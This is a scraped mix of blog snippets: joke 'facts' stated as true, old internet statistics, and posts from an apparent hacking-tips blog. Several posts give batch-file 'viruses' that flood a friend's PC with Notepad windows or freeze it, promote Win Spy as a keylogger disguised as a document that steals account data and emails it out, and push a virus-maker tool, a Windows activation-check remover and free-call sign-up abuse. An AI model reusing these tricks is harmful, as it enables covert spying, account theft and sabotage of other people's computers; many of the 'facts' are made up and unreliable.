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·  It is nearly three miles farther to fly from Amarillo, Texas to Louisville, Kentucky than it is to return from Louisville to Amarillo.

·  The "nine lives" attributed to cats is probably due to their having nine primary whiskers.

·  The original inspiration for Barbie dolls comes from dolls developed by German propagandists in the late 1930s to impress young girls with the ideal notions of Aryan features. The proportions for Barbie were actually based on those of Eva Braun.

·  The Venezuelan brown bat can detect and dodge individual raindrops in mid-flight, arriving safely back at his cave completely dry.

 

 

 

 

1. Twenty per cent of the world’s population, 1.17 to 1.33 billion people, now use the   Internet. North America (72%) has the highest penetration, Africa (5%) the lowest.

2. Only 30 per cent (380 million) of Internet users are english-speaking, 14 per cent (180 million) speak chinese, 9 per cent (113 million) speak spanish. 46 million Internet users speak arabic.

3. China’s internet population increased by a third in 2006. According to state news agency Xinhua, the total number of internet users in China has reached 132 million, of which 52 million have broadband connections. [Source: Guardian, December 2006]

4. Google’s market capitalisation is around $US180 billion, nearly three times the size of News Corporation. Microsoft, Apple, Google and Amazon are all in the Fortune 150 list.

5. According to Zenith Optimedia, between 2007 and 2010, internet adspend will increase by 69% and raise its market share from 8.1% to 11.5%. About $US36 billion will be spent on Internet advertising globally in 2008, an increase of 24%.

6. Youtube is the world’s third largest site, behind Google and Yahoo. One in five of the world’s internet users visit youtube each day. Nearly half of US internet users report visiting a video-sharing site like Youtube at least once.

7. Britney Spears was the most sought after celebrity on Google in 2007 and pilates was the most popular search in the fitness category. The most popular who, what and how queries were who is god, what is love and how to kiss

8. Social networking is the fastest growing part of the Internet. There are 70 million active users on Facebook (the 8th most popular site in the world), more than 14 million photos are  uploaded daily. The fourth most popular country for facebook id Turkey with 3.3% of users. Australia is 6th, 2.7%. Meanwhile, a Sophos poll of 600 workers found that 43 per cent were unable to access Facebook at work, while an additional seven per cent reported that use of the site was restricted.

9. Last year, global digital music sales rose 40 percent to $US2.9 billion, according to the International Federation of the Phonographic Industry. Downloaded music now makes up 15 percent of the recording industry's sales.

10. Movie downloads could grow tenfold by 2012 and reach $6.3 billion worldwide during that period, according to a 2007 report by British market research firm Informa Telecoms & Media.

11. The iTunes store was launched on 28 April 2003, since then it has sold more than     four billion tracks and over 125 million TV episodes worldwide. It is now rivaling Wal-mart to be the biggest music retailer in the US. 150 million iPods have been sold world-wide since the iconic device first appeared in October 2001. Nearly forty percent of Americans now own and iPod or other mp3 player.

12. Wikipedia is the 7th most popular website in the world. The english version of wikipedia has more than 2.3 million articles. Over a third of online US adults consult wikipedia.

13.There are over 100 million websites, 74 per cent are in the commercial or .com domain

14. Total e-commerce sales in the US for 2007 were estimated at $136.4 billion, an increase of 19.0 percent from 2006. Total retail sales in 2007 increased 4.0 percent from 2006. E-commerce sales in 2007 accounted for 3.4 percent of total sales. E-commerce sales in 2006 accounted for 2.9 percent of total sales.

15. Core search engines Google, Yahoo, Microsoft, AOL, and Ask.com collectively increased 15 percent in December 2007 in searches performed, compared to a year earlier, serving 9.6 billion searches in December 2007.

16. Since the beginning of 2007, Sen. Obama has raised more than $US100 million online from Americans contributing $200 or less at a time, according to data compiled by the Campaign Finance Institute (WSJ, 3 May)

17. In 2006, the average corporate email user received 126 messages a day, up 55% from 2003, according to the Radicati Group, a Palo Alto market research firm. By 2009, workers are expecting to spend 41% of their time just managing emails. (WSJ, 27-11-2007)

18. More books are sold on the internet than any other product and the number is increasing, research suggests. Polling company Nielsen Online surveyed 26,312 people in 48 countries. 41% of internet users had bought books online, it said. The largest percentage of people buying books in any country was South Korea at 58%. Nielsen estimated that equated to 18m people. (BBC 21-01-2008). Twenty percent of US book sales and 17 percent of UK book sales are now made online.

19. Nielsen says more than eight out of ten internet users purchased something in the last three months. That is a 40% increase on two years ago, to about 875 million shoppers. (BBC 21-01-2008)

20. Newspapers’ online audiences are rising at twice the rate of the general internet audience. Newspaper Web sites attracted more than 66.4 million unique visitors on average (40.7 percent of all Internet users) in the first quarter of 2008, a record number that represents a 12.3 percent increase over the same period a year ago, according to a custom analysis provided by Nielsen Online for the Newspaper Association of America.

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The Most Interesting and Unusual Facts on the Net

 

Facetious and abstemious are the only words that contain all the vowels in the correct order.

"Adcomsubordcomphibspac" is the longest acronym. It is a Navy term standing for Administrative Command, Amphibious Forces, Pacific Fleet Subordinate Command.

"Almost" is the longest commonly used word in the English language with all the letters in alphabetical order.

"Flushable" toilets were in use in ancient Rome.

"Billie Jean" by Michael Jackson was the first video to air on MTV by a black artist.

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·  In the weightlessness of space a frozen pea will explode if it comes in contact with Pepsi.

·  The increased electricity used by modern appliance parts is causing a shift in the Earth's magnetic field. By the year 2327, the North Pole will be located in mid-Kansas, while the South Pole will be just off the coast of East Africa.

·  The idea for "tribbles" in "Star Trek" came from gerbils, since some gerbils are actually born pregnant.

·  Male rhesus monkeys often hang from tree branches by their amazing prehensile penises.

·  Johnny Plessey batted .331 for the Cleveland Spiders in 1891, even though he spent the entire season batting with a rolled-up, lacquered copy of the Toledo Post-Dispatch.

·  Smearing a small amount of dog feces on an insect bite will relieve the itching and swelling.

·  The Boeing 747 is capable of flying upside-down if it weren't for the fact that the wings would shear off when trying to roll it over.

·  The trucking company Elvis Presley worked at as a young man was owned by Frank Sinatra.

·  The only golf course on the island of Tonga has 15 holes, and there's no penalty if a monkey steals your golf ball.

·  Legislation passed during WWI making it illegal to say "gesundheit" to a sneezer was never repealed.

·  Manatees possess vocal chords which give them the ability to speak like humans, but don't do so because they have no ears with which to hear the sound.

·  SCUBA divers cannot pass gas at depths of 33 feet or below.

·  Catfish are the only animals that naturally have an ODD number of whiskers.

·  Replying more than 100 times to the same piece of spam e-mail will overwhelm the sender's system and interfere with their ability to send any more spam.

·  Polar bears can eat as many as 86 penguins in a single sitting.

·  The first McDonald's restaurant opened for business in 1952 in Edinburgh, Scotland, and featured the McHaggis sandwich.

·  The Air Force's F-117 fighter uses aerodynamics discovered during research into how bumblebees fly.

·  You *can* get blood from a stone, but only if contains at least 17 percent bauxite.

·  Silly Putty was "discovered" as the residue left behind after the first latex condoms were produced. It's not widely publicized for obvious reasons.

·  Approximately one-sixth of your life is spent on Wednesdays.

·  The skin needed for elbow transplants must be taken from the scrotum of a cadaver.

·  The sport of jai alai originated from a game played by Incan priests who held cats by their tails and swung at leather balls. The cats would instinctively grab at the ball with their claws, thus enabling players to catch them.

·  A cat's purr has the same romance-enhancing frequency as the voice of singer Barry White.

·  The typewriter was invented by Hungarian immigrant Qwert Yuiop, who left his "signature" on the keyboard.

·  The volume of water that the Giant Sequoia tree consumes in a 24-hour period contains enough suspended minerals to pave 17.3 feet of a 4-lane concrete freeway.

·  King Henry VIII slept with a gigantic axe.

·  Because printed materials are being replaced by CD-ROM, microfiche and the Internet, libraries that previously sank into their foundations under the weight of their books are now in danger of collapsing in extremely high winds.

·  In 1843, a Parisian street mime got stuck in his imaginary box and consequently died of starvation.

·  Touch-tone telephone keypads were originally planned to have buttons for Police and Fire Departments, but they were replaced with * and # when the project was cancelled in favor of developing the 911 system.

·  Human saliva has a boiling point three times that of regular water.

·  Calvin, of the "Calvin and Hobbes" comic strip, was patterned after President Calvin Coolidge, who had a pet tiger as a boy.

·  Watching an hour-long soap opera burns more calories than watching a three-hour baseball game.

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  1. 35.6% of internet users are Asian.
  2. With average of 389 million of internet surfers each month, Asia is the largest internet crowd among other world regions.
  3. In Afirca, 3 out of 100 surf the Internet.
  4. In Asia, 10 out of 100 surf the Internet.
  5. In Europe, 38 out of 100 surf the Internet.
  6. In Middle East, 10 out of 100 surf the Internet.
  7. In North America, 70 out of 100 surf the Internet.
  8. In Latin America, 16 out of 100 surf the Internet.
  9. In Australia, 53 out of 100 surf the Internet.
  10. Only 16.6% of world population surf the internet.
  11. 1 billion users around the globe are surfing the Internet every month.
  12. Amount of internet surfers in Asia (389,392,28 mil) is 11 times the population of Australia (34,468,443 mil).
  13. 19% of internet users are from United States (210,080,067 mil).
  14. Around 18 countries still doesn’t have Internet connection.
  15. North Korea’s internet penetration statistics is not publicized.
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Well this is not any hack of mobile services but instead a legitimate way of making a free call to any number in world.This can be a real helpful if you do not have any account balance in your mobile and you need to make a urgent call.This is the right time movibox can help you out.

So  what you will get with this service.

You will get free calling time of 5 minutes and you can call with it  anywhere in world to any mobile number.To make a call click on Direct call Button after you register a account with them.

Can you Make unlimited calls?

One of my friends suggested me a trick to make unlimited calls using this service.

What’s the Trick?

Well the trick is quite simple one..He suggested me to make multiple email accounts so that I can register on movibox multiple times.This trick worked for me around 5 to 6 times and I think they have figured out this method and Now my account gets automatically blocked when I create a new account.

BTW, I was not creating multiple email accounts instead I was using my gmail trick of multiple account.It worked like charm for 5-6 times and I guess they have figured this out.

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India has estimated 34 million registered Facebook .To expand its roots more deeper into rural areas and to strengthen its current user base Facebook has partnered with Fonetwish for free access to Facebook accounts without Internet connection.Now you access Facebook even with stone age phones like Nokia 1100 which even don’t have Gprs facility..However access to facebook account and Status updates is completely free.If you also want to use features like Notifications, updating friends wall you have to subscribe to Fonetwish premium plan which is very cheap.

How it Works:

Just dial *325# or *fbk# from your mobile and wait for the confirmation message on the screen. Give your username and password to access Facebook without any Data Charges. Have a look at  screenshots below for step by step guide.

11 How to Access Facebook without Internet Connection21 How to Access Facebook without Internet Connection
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If somehow you have forgotten your windows password and are looking for way around to login back into your computer then you won’t have to worry.There are many methods are available for resetting password of your windows 7 or vista.But many of them are lengthy or sophisticated.This is one of the simplest method and you only need a windows installation CD/USB to reset the password.It relies on an unpatched bug in windows operating system.

Step-By-Step Guide to Reset Windows Password:

  • Insert windows 7 disk into your CD Rom and Restart your computer.
  • Press any key to Boot from the CD and then click on Repair your Computer.

11 How to Reset Windows 7 or Vista Password

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Most of us might have experienced a situation when we forget our Windows administrator password.And we are not able to login into windows and access our all necessary data and programs.At that time the only solution that comes into or mind is the installation of fresh copy of windows but this will lead to loss of all data and files that are in the windows drive.There is also another way around using which you don’t need to install a fresh copy of windows and without losing any data.We are providing here the method to reset windows administrator password.This tutorial is only for the purpose of recovering your windows 7,xp or vista password.This should be used only when you forgot or lost your password  and not for hacking into somebody else’s system.Using this hack  you can reset your administrator password or leave it blank.

By using this tutorial

  • You donot need to know anything about your old password.
  • You can unlock locked or disabled accounts.
  • Also edit the registry.

The requirements for using this method are:-

  • Blank CD/floppy disk.
  • Access to Internet.
  • Cd or floppy writer

These requirements can be easily fulfilled by spending 15 minutes in cybercafe or at friends computer

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This is step by step tutorial that explains how to make harmless virus that open the notepad file continuously.This is non-destructive virus to your computer system. If you want to have some fun with your friends , drop this cool harmless virus into his pc. .

1) Launch Notepad
2) Type this code into notepad

@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top


3) save as filename.bat for example notepad.bat

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in this tutorial I’ll show you how win spy software can bu used to hack computer accounts as facebook, yahoo etc. and control computer with remote access .



Overview

We’ll create remote file using software called Win Spy. Win Spy is powerfull hacking spy software that can records all type keystrokes , websites visited detail , summary, chatroom conversation, time spen on internet , loggin attempts…. also it can make remote file. When the target pc runs remote file all recorded data will be send to your email.



Resources



Win Spy
 – high quality remote spying software, I recommend to buy original pro version , price is $39.95 .It’s worth every penny.



Head to the Win-Spy website -CLICK HERE- 



Here’s a list of kick-ass features that I wouldn’t have expected to see in this type of program:

* Folder Hider – Cool, now I can completely hide those *special* folders :)

* Clear Track – Allows you to easily clear Internet and Windows tracks on your computer. Brilliant.

* PC Tracking – Secretly sends information on the machines whereabouts if it’s stolen – can this get any better?

* Secure File Deletion – Boom. Say good bye to the evidence!

* Counter anti-spy software – i.e. this little baby will protect itself is someone is trying to find it!

And they aren’t even the newest features. Let’s look at what’s new :

Remotely deploy the software

Bundle the software into another install, or make it look like an Excel spreadsheet, Word document, Powerpoint or screensaver. Win-Spy will discreetly install in the background. OMG that’s cool.

Remote monitoring

Over the web, by email or FTP. You can view almost all activity while you’re away from your machine. And you can even be notified of events by SMS.

The major difficulties in using remote control software are firewalls and blocked ports, as well as NAT routing for local IP addresses. If you use Win-Spy Monitoring Software you don’t have to worry about firewalls: Win-Spy Monitoring Software will find a route to your partner.

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AS you know XP uses the C:\Program Files directory as the default base directory into which new programs are installed. However, you can change the default installation drive and/or directory by using a Registry hack. Run the Registry Editor and go to 
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion. 
Look for the value named ProgramFilesDir. 
By default, the value will be C:\Program Files. 
Edit the value to any valid drive or folder; 
Now XP will use that new location as the default installation directory for new programs.This registry hack can be very useful when your c drive is full and you automatically want to change the installing directory.Enjoy this cool windows registry hack
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In this tutorial , we will see how to add an image to the background of any folder.It looks like this:

1) Create New Folder; right click on Desktop, then New folder… or just open a folder in which you wish to add the background image

2) Copy this code in notepad

[ExtShellFolderViews]
{BE098140-A513-11D0-A3A4-00C04FD706EC}={BE098140-A513-11D0-A3A4-00C04FD706EC}
[{BE098140-A513-11D0-A3A4-00C04FD706EC}]
IconArea_Image=C:\path\folder\background.jpg

It looks like this:


3)Save the notepad file in folder for which you wish to add background image, as
shown below


4)After this select folder, right click on that folder, click properties
and select Customize tab, then click on
change icon, here choose any icon.After this the background image will appear...

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This is very comman problem The Windows Genuine Advantage Notifications tool (WGA), is a small ‘feature’ which checks your Windows copy on the Microsoft servers to see if its legit.It verifies the legitimacy of your Windows copy at every startup.Using RemoveWGA tool you can skip or get rid of this problem.This is simple, you just need to download , launch it and it will tell you if you have the Windows Genuine Advantage Notifications Tool installed within your Windows system and it will remove it.

I tried on the web for lot of solution to this Windows Genuine Advantage WGA Validation.
You can download this tool from here

http://www.filecluster.com/System-Utilities/Other-Utilities/Download-RemoveWGA.html

RemoveWGA features:

Tell you if the WGA notification tool is active on your system
Allows you to remove the WGA notification tool from your system
Accept the "-silent” command line parameter to silently check if the WGA notification tool is active on your system, and popup only if it is found (usefull for checking automatically at startup for instance)

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Youtube videos are now available with an option of 3D videos. This means now you can watch videos in 3D online. The only thing you required is your 3D glasses. Last YearYoutube launched its additional creator tool Beta to convert your uploaded videos form 2D to 3D with just one click.

Now this feature is added to youtube to watch any video in 3D but only a few videos shows this 3D watch option. Even 1080p videos don't show this option. But this feature is being added so this will be available for every video soon.

this new feature will also enhance the video viewing experience of users.So i will suggest to get your 3D glasses soon so that you can enjoy this feature and enjoy 3D videos online.

So we have this video here which shows the option. enjoy your tube video in 3D.

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hello....
many of ma friends ask me plz tell me how can i make freez virus??
now the answer is here.....
i have a new trick for making a freez virus.
it is totaly harmless and it is only for fun.
try it and watch result!!! :)
WARNING:-dont try it on angry friends..... hahahahahahaha

here is a trick:

1. open notepad
2. type "start virus.bat"
3. next line type "virus.bat"
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Heya!! Good Morning to all of you. Today i have a dangerous trick for all of you. The virus creation trick. Yes you can make your virus without knowledge of coding with a simple tool and its name is JPS Virus Maker. This is a nice tool for creating your own virus. Select all options you want with your virus and then click on create Virus. It will create an effective virus. There are many options which your your virus will do on victims computer system. Your virus will able to hide itself from process list and it will disable many windows functions.
This tool can create any type of virus depending on what you demand. You can make the virus shut down the computer, restart their interface, freeze their screen, anything you demand it to do, it will create, with over 50 options able to be selected. The file could be created as a .jpg .exe file or any other type, with capabilities as you commanded


 
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Search Engine Optimization (SEO) is the very important to get more traffic to blogs and websites. It is blood of blog. Internet users using Search Engine to find right information. So submit your site to search engines. But there are lots of search engines available on Internet. If you submit your blog to these search engines one by one, it takes more time. Here is the online tool to Submit your blog (or) website to 140 Search engines in single click.



How to Submit:
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